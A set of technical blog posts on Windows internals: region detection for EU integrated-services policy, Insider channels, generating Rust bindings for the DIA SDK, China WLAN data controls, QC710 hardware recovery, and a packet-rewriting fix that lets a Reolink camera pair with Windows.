Blog: Rafael Rivera

Device Region and Integrated Services Region Policy in Windows

2023-11-17T00:00:00Z

Microsoft is actively rolling out an update for Windows 11 to comply with the Digital Markets Act (DMA) in the European Economic Area (EEA). A crucial part of this implementation involves regional settings. Officially, Windows will use the region selected during the initial setup to determine if the PC is in the EEA.

The component responsible for integrated services region policy resides in SystemSettings.DataModel.dll. This component retrieves the device region through a multi-step process:

It first attempts to retrieve the device's geographical location identifier DeviceRegion stored in the Registry at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel. If this attempt fails, it resorts to calling the Win32 API GetUserGeoID with a geographical location class of GEOCLASS_NATION and caches the result in the aforementioned location.
It then resolves the geographical location identifier to a two-letter ISO 3166-1 code or UN M.49 code for the geographic region using the GetGeoInfoW Win32 API.

The state of the integrated services region policy depends on the evaluation of the policy's default state (enabled/disabled) and conditional rules (e.g., device region). The system stores these policies on disk in a system directory (\System32\IntegratedServicesRegionPolicySet.json).

Here's an example of one such policy:

{
  "$comment": "Edge is uninstallable.",
  "guid": "{1bca278a-5d11-4acf-ad2f-f9ab6d7f93a6}",
  "defaultState": "disabled",
  "conditions": {
    "region": {
      "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"]
    }
  }
},

You can reconfigure a PC to appear as if it's in the EEA region, in the context of integrated services region policy. This can be done by adjusting the value mentioned earlier in the Registry. Here's an example of a Registry Entries file changing the cached geographical location identifier to 94 (Germany):

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\DeviceRegion]
"DeviceRegion"=dword:0000005e

You can also replace the component responsible for integrated services region policy with your own. I've provided a skeleton project on GitHub.

Windows Insider Program channel programming update

2023-03-06T00:00:00Z

Microsoft announced changes to its Windows Insider channel line-up today. That is, the program added a Canary channel to deliver Windows builds for folks to "preview platform changes that require longer-lead time before getting released to customers". And the Dev channel, which previously held that responsibility, has been "rebooted" to instead deliver "new long-lead features and experiences in development"...

Confused and unimpressed with the blog post, I asked some Microsoft folks to clarify the situation. Here's the outcome of those discussions--a summary of what to expect, per channel:

Canary channel - This is where deep or high-risk Windows changes may be made (e.g. kernel changes). These changes need a lot of iteration and test time and are not guaranteed to ship in any version of Windows.
Dev channel - This is where shallow or lower-risk Windows changes may be made. These changes also need some iteration and test time and are not guaranteed to ship in any version of Windows.
Beta channel - This is where changes shipping with the next release of Windows are tested.
Release Preview - This is where changes shipping with the next release of Windows are tested very broadly and are scheduled to become generally available very soon.

Hope that helps.

Generating metadata for use with the windows crate for Rust

2023-01-18T00:00:00Z

The windows crate for Rust has reached a sweet spot. It ships with pre-generated bindings for the entire Windows API surface and a code generator that can be used to generate your own bindings and create dependent crates. And if you pair the crate with the Windows Metadata Generator, you can transform all of your favorite C and C++ headers into Rust bindings. In fact, I already generated a few crates, such as the Microsoft Debug Interface Access (DIA) SDK, Microsoft DirectStorage SDK and the Microsoft Windows App SDK.

Let's walk through using the metadata generator to recreate most of the DIA SDK crate from scratch.

Scaffolding

First, create a new crate using a library template (cargo init --lib).

Now, create the .windows\winmd directory.

This directory will store metadata—Common Language Runtime (CLR) assemblies (as defined in ECMA-335) that provide a bunch of information about the Windows APIs. This information is useful to developers looking to generate bindings for different programming languages. (This path is historically where Rust for Windows stored its libraries, metadata, etc. This can be changed.)

Create a .metadata folder as well to store the Microsoft Build (MSBuild) project and supporting files needed to generate metadata. (This can also be changed.)

dia-rs
|-- .gitignore
|-- .metadata/
|-- .windows/
|   `-- winmd/
|-- Cargo.toml
`-- src
    `-- lib.rs

Metadata project

Create .metadata\generate.proj and populate it with some minimal XML:

<?xml version="1.0" encoding="utf-8"?>
<Project>
</Project>

This is the start of a MSBuild project.

Add the Sdk attribute to the root node. Set its value to Microsoft.Windows.WinmdGenerator/0.59.13-preview. (The version suffix is required as the package is not marked as stable.)

 <?xml version="1.0" encoding="utf-8"?>
-<Project>
+<Project Sdk="Microsoft.Windows.WinmdGenerator/0.59.13-preview">
 </Project>

This is the start of a Software Development Kit (SDK)-style MSBuild project.

Microsoft.Windows.WinmdGenerator refers to a NuGet package identifier tied to the Microsoft Windows Metadata Generator SDK. This project SDK contains a bunch of actions that will execute on what we put into this project file moving forward.

Next, add a few global properties that the winmd generator needs:

 <?xml version="1.0" encoding="utf-8"?>
 <Project Sdk="Microsoft.Windows.WinmdGenerator/0.59.13-preview">
+   <PropertyGroup Label="Globals">
+       <OutputWinmd>../.windows/winmd/Microsoft.Dia.winmd</OutputWinmd>
+       <WinmdVersion>255.255.255.255</WinmdVersion>
+   </PropertyGroup>
 </Project>

OutputWinmd specifies where the generator will write its output to.
WinmdVersion indicates the version number that will be attached to the output.

Its value is not important for this crate, so it is set to its maximum value to make that clear. (If you want to share metadata externally, you may want to swap this out with a value that is consistent with Semantic Versioning.)

Now, define a partition to group together all the DIA APIs and their respective sources:

 <?xml version="1.0" encoding="utf-8"?>
 <Project Sdk="Microsoft.Windows.WinmdGenerator/0.59.13-preview">
     <PropertyGroup Label="Globals">
         <OutputWinmd>../.windows/winmd/Microsoft.Dia.winmd</OutputWinmd>
         <WinmdVersion>255.255.255.255</WinmdVersion>
     </PropertyGroup>
+    <ItemGroup>
+        <Headers Include="..." />
+        <Partition Include="main.cpp">
+            <TraverseFiles>@(Headers)</TraverseFiles>
+            <Namespace>Microsoft.Dia</Namespace>
+        </Partition>
+    </ItemGroup>
 </Project>

The partition Include attribute points to the C/C++ file used as the generator tooling starting point. This file must be syntactically correct. That is, it must effectively compile without errors.

The partition contains several elements:

TraverseFiles points to one or more headers that will be scraped for content.

These headers should be reachable (directly or otherwise) from the Include starting point.

The Headers property used here is not specific to the winmd generator. It is simply a MSBuild property our future include string and keep the project file tidy.
Namespace assigns a name to the logical grouping of functions and constants pulled out of the inputs provided.

DIA APIs are primarily described in an Interface Definition Language (IDL) file dia2.idl and an ancillary header cvconst.h. (The DIA SDK ships with a C/C++ header dia2.h but it's outdated.) These files are located at %VSINSTALLDIR%\DIA SDK\idl and %VSINSTALLDIR%\DIA SDK\include.

Create and add additional MSBuild properties to point to those locations:

 <?xml version="1.0" encoding="utf-8"?>
 <Project Sdk="Microsoft.Windows.WinmdGenerator/0.59.13-preview">
     <PropertyGroup Label="Globals">
         <OutputWinmd>../.windows/winmd/Microsoft.Dia.winmd</OutputWinmd>
         <WinmdVersion>255.255.255.255</WinmdVersion>
+        <DiaSdkRoot>$(VsInstallDir)\DIA SDK</DiaSdkRoot>
+        <DiaIdlRoot>$(DiaSdkRoot)\idl</DiaIdlRoot>
+        <DiaIncRoot>$(DiaSdkRoot)\include</DiaIncRoot>
     </PropertyGroup>
     <ItemGroup>
        <Headers Include="..." />
        <Partition Include="main.cpp">
            <TraverseFiles>@(Headers)</TraverseFiles>
            <Namespace>Microsoft.Dia</Namespace>
        </Partition>
    </ItemGroup>
 </Project>

Then specify the input files using these new properties.

 <?xml version="1.0" encoding="utf-8"?>
 <Project Sdk="Microsoft.Windows.WinmdGenerator/0.59.13-preview">
     <PropertyGroup Label="Globals">
         <OutputWinmd>../.windows/winmd/Microsoft.Dia.winmd</OutputWinmd>
         <WinmdVersion>255.255.255.255</WinmdVersion>
         <DiaSdkRoot>$(VsInstallDir)\DIA SDK</DiaSdkRoot>
         <DiaIdlRoot>$(DiaSdkRoot)\idl</DiaIdlRoot>
         <DiaIncRoot>$(DiaSdkRoot)\include</DiaIncRoot>
     </PropertyGroup>
     <ItemGroup>
-        <Headers Include="..." />
+        <Headers Include="$(DiaIncRoot)\cvconst.h;..." />
         <Partition Include="main.cpp">
             <TraverseFiles>@(Headers)</TraverseFiles>
             <Namespace>Microsoft.Dia</Namespace>
         </Partition>
     </ItemGroup>
 </Project>

But wait, you need a way to handle dia2.idl.

To compile the IDL, add a reference to one or more IDL files with the Idl element. The winmd generator will send these files to the IDL compiler and write out headers to the location pointed to by the built-in property CompiledHeadersDir.

Add the DIA include root to the additional includes property so that midl can find these headers. Then add that auto-generated dia2.h header as an input:

 <?xml version="1.0" encoding="utf-8"?>
 <Project Sdk="Microsoft.Windows.WinmdGenerator/0.59.13-preview">
     <PropertyGroup Label="Globals">
         <OutputWinmd>../.windows/winmd/Microsoft.Dia.winmd</OutputWinmd>
         <WinmdVersion>255.255.255.255</WinmdVersion>
         <DiaSdkRoot>$(VsInstallDir)\DIA SDK</DiaSdkRoot>
         <DiaIdlRoot>$(DiaSdkRoot)\idl</DiaIdlRoot>
         <DiaIncRoot>$(DiaSdkRoot)\include</DiaIncRoot>
+        <AdditionalIncludes>$(CompiledHeadersDir);$(DiaIncRoot)</AdditionalIncludes>
     </PropertyGroup>
     <ItemGroup>
+        <Idls Include="$(DiaIdlRoot)\dia2.idl" />
-        <Headers Include="$(DiaIncRoot)\cvconst.h;..." />
+        <Headers Include="$(CompiledHeadersDir)\dia2.h;$(DiaIncRoot)\cvconst.h" />
         <Partition Include="main.cpp">
             <TraverseFiles>@(Headers)</TraverseFiles>
             <Namespace>Microsoft.Dia</Namespace>
         </Partition>
     </ItemGroup>
 </Project>

And, create the partition's main.cpp and include the header files to be associated with the partition. Also add all dependent headers to ensure compilation succeeds:

#include <windows.h>
#include <dia2.h>
#include <cvconst.h>

We're almost done, but we need to address a bug we'll hit later. DIA (cvconst.h) has an unscoped SymTagEnum enum declaration containing a symbolic constant with the same name. This is not possible to model in Rust and will break our crate. So add a winmd generator response file named emitter.rsp and exclude this annoyance for now:

--exclude
SymTagEnum::SymTagEnum

Finally, in a Windows Terminal, issue a dotnet build command. You should see something similar to the below. (You may need to launch a Visual Studio Command Prompt due to a bug at the moment.)

Determining projects to restore...
...
Compiling idl files...
Scraping headers for crossarch...
Microsoft.Dia:common - Scanning to C:\Sources\dia-rs\.metadata\obj\generated\common\Microsoft.Dia.cs...
Scraping constants and enums...
Writing winmd...
Winmd emitted at: C:\Sources\dia-rs\.windows\winmd\Microsoft.Dia.winmd

Build succeeded.
  0 Warning(s)
  0 Error(s)

Rust Crate: Tooling

With freshly generated metadata now available, let's work on the Rust crate.

First, edit Cargo.toml and change the crate name to dia-rs. Let's also add a build dependency on windows-bindgen. This crate has tooling to automatically generate Rust bindings from Windows metadata.

[package]
name = "dia-rs"
version = "0.1.0"
edition = "2021"

-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+[build-dependencies.windows-bindgen]
+version = "0.56"

[dependencies]

Time to write some code!

Create build.rs and call into the windows_bindgen::bindgen function with your metadata input path, output path, and instruct bindgen to filter out anything that isn't in the Microsoft.Dia namespace:

fn main() {
    windows_bindgen::bindgen([
        "--in",
        ".windows/winmd/Microsoft.Dia.winmd",
        "--out",
        "src/bindings.rs",
        "--filter",
        "Microsoft.Dia",
    ])
    .unwrap();
}

Let's also tell Cargo to only run this script if the inputs have changed:

fn main() {
+   println!("cargo:rerun-if-changed=.windows/winmd/Microsoft.Dia.winmd");
+   println!("cargo:rerun-if-changed=build.rs");

    windows_bindgen::bindgen([
        "--in",
        ".windows/winmd/Microsoft.Dia.winmd",
        "--out",
        "src/bindings.rs",
        "--filter",
        "Microsoft.Dia",
    ])
    .unwrap();
}

Navigate to the crate root if you're not already there and build the crate (cargo build). After a few moments, you should now have a bunch of automatically generated code in src\bindings.rs!

Rust Crate: DIA SDK

Let's now complete some chores to finish off the DIA crate.

First, we need to add dependencies windows and windows-core. The windows crate contains our core Windows API definitions and types. windows-core houses foundational plumbing and tooling. (More information can be found in the original pull request.)

Open Cargo.toml and add the windows and windows-core crates as dependencies. Enable the implement and Win32_Foundation features on the former:

[dependencies.windows]
version = "0.56"
features = [
    "implement",
    "Win32_Foundation",
]

[dependencies.windows-core]
version = "0.56"

Then remove everything in lib.rs, add the bindings module, use the newly generated bindings, and finally re-export all the types within the bindings module. This last part remove an awkward level of indirection. That is, instead of typing use dia-rs::bindings::IDiaAddressMap you can now type use dia-rs::IDiaAddressMap.

extern crate windows;

+pub mod bindings;
+pub use bindings::*;

Attempt to build the crate (cargo build).

You will receive quite a few build errors. That's because we haven't brought in enough of the windows crate to satisfy the needs of our crate. The Windows API surface is huge and to keep build times under control, the types and APIs are grouped together and tied to features in the windows crate. To simplify development, the feature names match the type's namespace. So, for example, the ::windows::Win32::System::Com::VARIANT type lives in the Win32::System::Com namespace and is tied to a feature named Win32_System_Com. Alternatively, you can also look up a type or API in the documentation or via the feature search web app.

Using the above knowledge, resolve the build errors by addding the missing windows features.

[dependencies.windows]
version = "0.56"
features = [
    "implement",
    "Win32_Foundation",
+   "Win32_System_Com_StructuredStorage",
+   "Win32_System_LibraryLoader",
+   "Win32_System_Ole",
]

Attempt to build the crate again (cargo build). Success!

Additional Tasks

At this point, you have built nearly everything in the official Microsoft DIA SDK Rust crate!

Some remaining tasks include:

creating a helper to instantiate a DIA COM class that implements IDiaDataSource (hint: diaguids.lib in the SDK has a NoRegCoCreate function))
adding some missing constants (e.g. E_PDB_INVALID_SIG) and types (e.g. SymTagEnum)
writing sample crates

Revision history

January 18, 2023

Initial publish

January 3, 2024

Minor changes

February 24, 2024

Major changes to Rust section to account for new and simpler bindgen tooling
Added SymTagEnum workaround to Metadata section
Other minor changes and corrections

May 15, 2024

Added reference to feature search web app
Updated dependencies
Other minor changes and corrections

Programmatically determining if your UWP app can use WLAN data in China

2021-12-06T00:00:00Z

To comply with telecommunications regulations in China, all supported desktop editions of Windows include controls to manage which UWP apps have access to WLAN (e.g. Wi-Fi) data. Unfortunately, these controls don't appear in all installations of Windows. Instead, they only show up if Windows has been configured with a China-specific privacy access policy. In other words, on machines sold and operated in China and its territories.

To enable this policy manually, navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess and create or set ActivePolicyCode (REG_SZ) to zh. A reboot is required for this policy to take full effect.

App developers looking to detect if their app has WLAN data access—presumably to re-negotiate with the user—can do so by checking for the undocumented wifiData capability.

switch (AppCapability.Create("wifiData").CheckAccess())
{
    case AppCapabilityAccessStatus.DeniedByUser:
    case AppCapabilityAccessStatus.DeniedBySystem:
        // Do something
        break;
}

Note: The WLAN data controls do nothing if the PC doesn't also have cellular radio hardware installed. (It doesn't need to be connected to anything.) This will manifest as CheckAccess returning Allowed (and the app having WLAN data access) regardless of the toggle switch value.

ECS LIVA Mini Box QC710 technical details

2021-11-15T00:00:00Z

Microsoft is now selling a ECS LIVA Mini Box QC710 Desktop PC in its Store to facilitate Windows on ARM development. (You may remember this machine by its former name--the Snapdragon Development Kit.)

Unfortunately, there isn't a lot of information on the Internet about this machine in one spot and the manufacturer is not very forthcoming with information. So I ordered one and opened it up, so you don't have to.

Help wanted

If you have any information about the QSIP7180P platform, ECS QC710 test points, or entering emergency download (EDL) mode, please reach out.

如果您有任何关于QSIP7180P平台、ECS QC710 测试点或进入紧急下载（EDL）模式的信息，请联系我们。

Photos

https://gist.github.com/riverar/a1aef6224e1e24783596f7e35a9e4103

Documentation

Quick Start

Scanned paper copy (QC710_QuickStart_11182021_600.pdf). Not worth slicing up or reading.

Manual

Digital copy (QC710_UM_11242020.2.pdf). ECS assures me this is applicable to the ECS LIVA Mini Box QC710.

Specifications

External


Dimensions	119mm width x 116.6mm height x 35mm depth
Weight	220g
Power	SunWard 30W USB-C Wall Charger with Power Delivery (PD) (UL Listed)
Energy Star	Energy Star Computers Specification Version 8.0^[1] (not certified)
FCC ID	WL6-7180PQC710
Case Screws	4 x Phillips 4mm x 6mm, under rubber ring

Internal


Processor	Qualcomm SC7180 (7c)^[2]
Graphics	Adreno 618^[2:1]
Memory	LPDDR4X Dual-channel 16-bit (32-bit) @ 2133 MHz^[2:2], up to 4GB
Modem	X15 LTE (800 Mbit/s down, 150 Mbit/s up, theoretical)^[2:3]
Connectivity	Bluetooth 5, 802.11a/b/g/n/ac/ad/ax, GPS, GLONASS, Beidou, Galileo, QZSS, SBAS, NavIC; USB 3.1; eMMC 5.1, UFS 3.0^[2:4]
Storage	eMMC 5.1, up to 64GB
Ethernet	10/100/1000M

Software

The ECS LIVA Mini Box QC710 Desktop ships with customized Windows 10 Home (19043.928) out of the box and requires the out-of-box experience to be completed before use.

Extracted driver package (86 drivers).

Windows Recovery

Mount Windows Partition

Plug a USB keyboard into the secondary USB port on the side of the box.
Plug a Windows PC (host) into the rear of the box (target) via the primary USB-A port.
Power on the box and hold ESC until the Boot Device Selection (BDS) menu appears.
Type 3 or use the keyboard arrow keys to select Enter Shell.
At the shell, issue the command: FS1:.

At the shell, issue the command: UsbfnMsdApp.efi -m "Basic data partition".

You should see the output below:

UEFI Interactive Shell v2.1
EDK II
UEFI v2.70 (Qualcomm Technologies, Inc., 0x00000000)
Shell> FS1:\UsbfnMsdApp.efi -m "Basic data partition"
ProcessCmdLineArgs:  Setting Basic data partition  on 0
SelectCmdLinePartitions: CmdLine Mounting!
SelectCmdLinePartitions: Mounting 49 and 65535
MountSelection: Mounting Basic data partition On Lun 0
MountSelection:  Press Any Key To Unmount

At this point, the USB keyboard connected to the box will no longer be functional. That's normal.
On the host PC, you should see a new driver letter assigned to the target Windows volume.

Replace Windows Installation

Using File Explorer, right-click the mounted target Windows volume and click Format. Be careful and select the right volume!
Use the following options to format the volume:
- File system: NTFS
- Allocation unit size: 4096
- Volume label: Windows
- Format options: Quick Format (checked)
Obtain a Windows (Arm) installation ISO and double-click it to mount in File Explorer.
Open an elevated command prompt and issue the command: dism /Apply-Image /ImageFile:X:\Sources\install.wim /ApplyDir:Y:\, replacing X: with the letter assigned to the mounted installation media and Y: with the letter assigned to the target Windows partition.
Download and extract the QC710 driver package to a temporary location.
Issue the command: dism /Image:Y:\ /Add-Driver /Driver:C:\Path\To\Extracted\Driver\Package /Recurse.
Use the Safely remove hardware and eject media icon in the system tray to eject the mass storage device.

Complete Windows Installation

Hold the power button to turn off the box. (It is highly recommended you eject the device first!)
Turn on the box.
Wait until Windows finishes its installation stages and presents the out-of-box experience (OOBE). This will take approximately 15-30 minutes.
Complete OOBE and set up your PC, as normal.
Open Device Manager and verify it is clean.

Pairing a stubborn Reolink RLC-511W camera with Windows 10

2021-04-24T00:00:00Z

Microsoft added a new Camera Settings page to Windows 10 build 21354 a few weeks ago. But I wasn't able to get it working with my Reolink RLC-511W camera. I filed a bug and was about to move on but curiosity set in.

Diagnosis

To take a peek at the communication between Windows 10 and the camera, I installed Wireshark and began capturing traffic. After clicking the "Add a network camera" button in Windows, Web Services on Devices Discovery (WS-Discovery) Probe messages were immediately broadcast across the local network. The messages looked like this:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope [...]>
  <soap:Header>
    <wsa:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To>
    <wsa:Action>
      http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe
    </wsa:Action>
    <wsa:MessageID>
      urn:uuid:7c206a7a-baba-4e7e-b8c2-1dec6fd798f4
    </wsa:MessageID>
  </soap:Header>
  <soap:Body>
    <wsd:Probe>
      <wsd:Types>dn:NetworkVideoTransmitter</wsd:Types>
    </wsd:Probe>
  </soap:Body>
</soap:Envelope>

The camera correctly recognized that someone was looking for an ONVIF network video transmitter and replied with a ProbeMatches message. That message looked like this:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope [...]>
  <SOAP-ENV:Header>
    <wsa:MessageID>
      uuid:2419d68a-2dd2-21b2-a205-ec:71:db:8c:14:92
    </wsa:MessageID>
    <wsa:RelatesTo>
      urn:uuid:516be46d-86ae-4c0c-b852-a93954ffade0
    </wsa:RelatesTo>
    <wsa:To SOAP-ENV:mustUnderstand="1">
      http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
    </wsa:To>
    <wsa:Action>
      http://schemas.xmlsoap.org/ws/2005/04/discovery/ProbeMatches
    </wsa:Action>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body>
    <wsdd:ProbeMatches>
      <wsdd:ProbeMatch>
        <wsa:EndpointReference>
          <wsa:Address>
            urn:uuid:2419d68a-2dd2-21b2-a205-ec:71:db:8c:14:92
          </wsa:Address>
          <wsa:ReferenceProperties></wsa:ReferenceProperties>
          <wsa:ReferenceParameters></wsa:ReferenceParameters>
          <wsa:PortType>ttl</wsa:PortType>
        </wsa:EndpointReference>
        <wsdd:Types>tdn:NetworkVideoTransmitter</wsdd:Types>
        <wsdd:Scopes>
          onvif://www.onvif.org/type/video_encoder
          onvif://www.onvif.org/location/country/china
          onvif://www.onvif.org/type/network_video_transmitter
          onvif://www.onvif.org/hardware/IPC-122
          onvif://www.onvif.org/Profile/Streaming
          onvif://www.onvif.org/name/IPC-BO
        </wsdd:Scopes>
        <wsdd:XAddrs>
          http://192.168.1.191:8000/onvif/device_service
        </wsdd:XAddrs>
        <wsdd:MetadataVersion>1</wsdd:MetadataVersion>
      </wsdd:ProbeMatch>
    </wsdd:ProbeMatches>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Unfortunately, the response contained a few errors. I've highlighted those in yellow. Let's take a closer look at them, starting from the top:

MessageID: The camera provided 2419d68a-2dd2-21b2-a205-ec:71:db:8c:14:92, which is not a valid UUID.

In subsequent tests, the camera also reused this value in repeated conversations. That's not good. Windows 10 will ignore messages with reused MessageID values, following good security practice to prevent replay attacks.
Address: The camera provided another invalid UUID.
PortType: The camera provided an unqualified value that doesn't map to anything that makes sense.

After fixing these issues (described later), I rescanned for cameras. The Camera Settings page found the camera, but clicking "Add device" just threw an "Couldn't add the device. Try again." error.

So I continued my review of the message traffic.

The earlier ProbeResponse message contained a transport address (XAddr), meaning Windows 10 didn't have to search the network for the camera by name (with Resolve messages). It immediately jumped to calling methods on the camera via its transport address (http://192.168.1.191:8000/onvif/device_service) using SOAP over HTTP.

Windows 10 called the camera's ONVIF Device Service method GetServiceCapabilities to get an idea of what it can and can't do:

POST /onvif/device_service HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
[...]
User-Agent: MS-WebServices/1.0
Content-Length: 164
Host: 192.168.1.191:8000

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body>
    <GetServiceCapabilities xmlns="http://www.onvif.org/ver10/device/wsdl" />
  </s:Body>
</s:Envelope>

The camera responded with:

HTTP/1.1 200 OK
Server: gSOAP/2.8
[...]
Content-Length: 3694
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope [...]>
  <SOAP-ENV:Body>
    <tds:GetServiceCapabilitiesResponse>
      <tds:Capabilities>
        <tds:Network
          NTP="1" HostnameFromDHCP="false" Dot11Configuration="false"
          DynDNS="false" IPVersion6="false" ZeroConfiguration="false"
          IPFilter="false">
        </tds:Network>
        <tds:Security RELToken="false" HttpDigest="true" UsernameToken="true"
          KerberosToken="false" SAMLToken="false" X.509Token="false"
          RemoteUserHandling="false" Dot1X="false" AccessPolicyConfig="true"
          OnboardKeyGeneration="false" TLS1.2="false" TLS1.1="false"
          TLS1.0="false">
        </tds:Security>
        <tds:System HttpSupportInformation="true" HttpSystemLogging="false"
          HttpSystemBackup="false" HttpFirmwareUpgrade="false"
          FirmwareUpgrade="false" SystemLogging="false" SystemBackup="false"
          RemoteDiscovery="true" DiscoveryBye="true" DiscoveryResolve="true">
        </tds:System>
      </tds:Capabilities>
    </tds:GetServiceCapabilitiesResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Windows then requested the camera date and time, for time synchronization purposes. (Authentication requires reasonably synchronized time.)

POST /onvif/device_service HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
[...]
User-Agent: MS-WebServices/1.0
Content-Length: 162
Host: 192.168.1.191:8000

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body>
    <GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl" />
  </s:Body>
</s:Envelope>

The camera responded with:

HTTP/1.1 200 OK
Server: gSOAP/2.8
[...]
Content-Length: 3611
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope [...]>
  <SOAP-ENV:Body>
    <tds:GetSystemDateAndTimeResponse>
      <tds:SystemDateAndTime>
        <tt:DateTimeType>Manual</tt:DateTimeType>
        <tt:DaylightSavings>false</tt:DaylightSavings>
        <tt:TimeZone>
          <tt:TZ>
            GMT+8:00:00DST+7:00:00,M3.2.0/01:59:00,M11.1.0/01:59:00
          </tt:TZ>
        </tt:TimeZone>
        <tt:UTCDateTime>
          <tt:Time>
            <tt:Hour>6</tt:Hour>
            <tt:Minute>16</tt:Minute>
            <tt:Second>32</tt:Second>
          </tt:Time>
          <tt:Date>
            <tt:Year>2021</tt:Year>
            <tt:Month>4</tt:Month>
            <tt:Day>23</tt:Day>
          </tt:Date>
        </tt:UTCDateTime>
        <tt:LocalDateTime>
          <tt:Time>
            <tt:Hour>23</tt:Hour>
            <tt:Minute>16</tt:Minute>
            <tt:Second>32</tt:Second>
          </tt:Time>
          <tt:Date>
            <tt:Year>2021</tt:Year>
            <tt:Month>4</tt:Month>
            <tt:Day>22</tt:Day>
          </tt:Date>
        </tt:LocalDateTime>
        <tt:Extension></tt:Extension>
      </tds:SystemDateAndTime>
    </tds:GetSystemDateAndTimeResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Next, Windows 10 called the camera's ONVIF Device Service method GetDeviceInformation:

POST /onvif/device_service HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
[...]
User-Agent: MS-WebServices/1.0
Content-Length: 162
Host: 192.168.1.191:8000

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body>
    <GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl" />
  </s:Body>
</s:Envelope>

The camera responded with:

HTTP/1.1 400 Bad Request
Server: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 3232
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" [...]>
  <SOAP-ENV:Body>
    <SOAP-ENV:Fault SOAP-ENV:encodingStyle="[...]">
      <SOAP-ENV:Code>
        <SOAP-ENV:Value>SOAP-ENV:Sender</SOAP-ENV:Value>
        <SOAP-ENV:Subcode>
          <SOAP-ENV:Value>ter:NotAuthorized</SOAP-ENV:Value>
        </SOAP-ENV:Subcode>
      </SOAP-ENV:Code>
      <SOAP-ENV:Reason>
        <SOAP-ENV:Text xml:lang="en">Sender not Authorized</SOAP-ENV:Text>
      </SOAP-ENV:Reason>
    </SOAP-ENV:Fault>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Oh dear. As before, I've highlighted problem areas in yellow. Starting from the top:

HTTP/1.1 400 response code: Per the ONVIF Core Specification, the camera—claiming to support both token and digest authentication—must respond with a 401 error:

If server supports both digest authentication [...] and the user name token profile [...] the following behavior shall be adapted: [...] If a client does not supply authentication credentials along with a web service request, the server shall assume that the client intends to use digest authentication [RFC 2617], if required. Hence, if a client does not provide authentication credentials when requesting a service that requires authentication, it will receive an HTTP 401 error according to [RFC 2617]. Note that this behaviour on the server’s side differs from the case of supporting only username token profile, which requires for this case an HTTP 400 error on the HTTP level and a SOAP:Fault env:Sender ter:NotAuthorized error on the WS level.
encodingStyle: This attribute is not supported on the Fault element. The SOAP 1.2 specification makes this explicitly clear:

The encodingStyle attribute information item MAY appear on the following:

[...] A child element information item of the SOAP Body element information item (see 5.3.1 SOAP Body child Element) if that child is not a SOAP Fault element information item (see 5.4 SOAP Fault). [...]

After I patched the camera's GetServiceCapabilities response, dropping HTTP digest authentication support and the invalid attribute, Windows 10 authenticated and paired with the camera successfully.

Quick Fix Engineering

The camera is already running the latest firmware available (20121804) so hoping to address the problems via an update was out.

And I wasn't particularly interested in modifying the firmware and/or rooting the camera either.

So because I already had a utility Linux PC with multiple Ethernet ports lying around in my homelab, I opted to use it as a monkey-in-the-middle, correcting the camera message traffic on-the-fly.

I created a simple network bridge on the Linux PC using bridge-nf. I then added a few iptables rules to forward camera-specified traffic into a queue (NFQUEUE) that is accessible via user-mode software.

Using Python, Scapy (a packet manipulation multi-tool), and NetFilterQueue (Python bindings for libnetfilter_queue), I was able to quickly patch up those camera errors with a simple script:

from scapy.all import IP, TCP, UDP, Raw
from netfilterqueue import NetfilterQueue
from collections import namedtuple

camera_ip = '192.168.1.191'
replacement = namedtuple('replacement', ['old', 'new'])

# The replacements are crafted to avoid changing the
# original packet length. This ensures we don't
# interfere with IP fragmentation.

replacements = [
  replacement(
    b'<wsa:MessageID>'
    b'uuid:2419d68a-2dd2-21b2-a205-ec:71:db:8c:14:92'
    b'</wsa:MessageID>',

    b'<wsa:MessageID>'
    b'uuid:2419d68a-2dd2-21b2-a205-ec71db8c1492'
    b'</wsa:MessageID>'
  ),
  replacement(
    b'<wsa:Address>'
    b'urn:uuid:2419d68a-2dd2-21b2-a205-ec:71:db:8c:14:92'
    b'</wsa:Address>',

    b'<wsa:Address>'
    b'urn:uuid:2419d68a-2dd2-21b2-a205-ec71db8c1492'
    b'</wsa:Address>'
  ),
  replacement(
    b'<wsa:PortType>ttl</wsa:PortType>',
    b'<!--                         -->'
  ),
  replacement(
    b'HttpDigest="true"',
    b'                 '
  ),
  replacement(
    b'SOAP-ENV:encodingStyle="http://www.w3.org/2003/05/soap-encoding"',
    b'                                                                '
  )
]


def zero_checksum_and_length(packet):
    # Resetting the length of the packet forces a
    # recalculation of the checksum.

    if(packet.haslayer(TCP)):
        packet[TCP].chksum = None
